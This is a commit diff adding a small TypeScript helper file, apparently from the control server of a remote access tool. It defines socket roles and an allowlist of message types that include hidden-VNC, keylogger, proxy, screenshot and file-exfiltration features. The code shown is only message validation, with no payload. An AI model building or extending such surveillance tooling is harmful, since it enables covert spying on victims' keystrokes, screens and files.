inital commit

2026-03-05 00:04:26 -06:00
commit f8515a2883
269 changed files with 47081 additions and 0 deletions
@@ -0,0 +1,50 @@
+export type SocketRole = "client" | "viewer" | "console_viewer" | "rd_viewer" | "hvnc_viewer" | "file_browser_viewer" | "process_viewer" | "keylogger_viewer" | "proxy_viewer" | "notifications_viewer";
+
+export const ALLOWED_CLIENT_MESSAGE_TYPES = new Set([
+  "hello",
+  "ping",
+  "pong",
+  "frame",
+  "status",
+  "console_output",
+  "file_list_result",
+  "file_download",
+  "file_upload_result",
+  "file_read_result",
+  "file_search_result",
+  "command_result",
+  "screenshot_result",
+  "command_progress",
+  "process_list_result",
+  "script_result",
+  "plugin_event",
+  "notification",
+  "keylog_file_list",
+  "keylog_file_content",
+  "keylog_clear_result",
+  "keylog_delete_result",
+]);
+
+export function isAllowedClientMessageType(type: string): boolean {
+  return ALLOWED_CLIENT_MESSAGE_TYPES.has(type);
+}
+
+export function getMessageByteLength(
+  message: string | ArrayBuffer | Uint8Array,
+): number {
+  if (typeof message === "string") {
+    return new TextEncoder().encode(message).length;
+  }
+  if (message instanceof ArrayBuffer) {
+    return message.byteLength;
+  }
+  return message.byteLength;
+}
+
+export function getMaxPayloadLimit(
+  role: SocketRole | undefined,
+  clientLimit: number,
+  viewerLimit: number,
+): number {
+  return role === "client" ? clientLimit : viewerLimit;
+}